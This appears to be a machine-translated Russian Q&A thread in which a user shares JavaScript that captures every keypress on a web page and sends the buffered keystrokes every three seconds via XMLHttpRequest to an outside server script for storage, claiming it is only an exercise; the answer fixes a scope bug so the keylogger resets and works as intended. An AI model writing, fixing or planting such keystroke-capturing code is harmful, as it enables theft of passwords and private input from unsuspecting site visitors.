2014-11-08 5 views
0

В следующем примере кода я хочу записать и отправить входную форму для ввода с клавиатуры (это просто упражнение для меня не для фишинговой атаки (было бы бесполезно для моих собственных сайт))Отправка измененных данных на сервер (с таймером)

var data = ''; 
function update_data(udata) 
{ 
    var http = new XMLHttpRequest(); 
    var param = encodeURI(udata) 
    http.open("POST","http://website.com/records.php",true); 
    http.setRequestHeader("Content-type","application/x-www-form-urlencoded"); 
    http.send("data="+param); 

    var data = ''; 
} 

document.onkeypress = function(evt) 
{ 
    evt = evt || window.event 
    data = data + String.fromCharCode(evt.charCode) 
} 

timer = setInterval('update_data(data)', 3000); 

Я хочу собрать ввод с клавиатуры 3 секунды длинный (в строке (вар данных)), а затем отправить их на сервер и, наконец, очистить строку и собрать снова. В файле records.php вход хранится в базе данных.

Моя проблема заключается в том, что переменная данных не изменяет значение на пустую строку в конце функции update_data. Поэтому, если пользователь вводит «a», он будет отправлять «a» каждые три секунды на сервер.

+0

Пожалуйста, посмотрите на мой ответ. –

ответ

0

Вы должны обратиться к переменной в глобальнойdata, а не к местного один.

Таким образом, вместо:

function update_data(udata) 
    { 
     ... 
     var data = ''; 
    } 

Запись:

function update_data(udata) 
    { 
     ... 
     data = ''; 
    } 

Этот вопрос имеет отношение к Скоупсом, читайте здесь об этом подробнее: Variable Scope (JavaScript)

+0

спасибо, работал – g4m30

+0

@ g4m30 Добро пожаловать. –

Смежные вопросы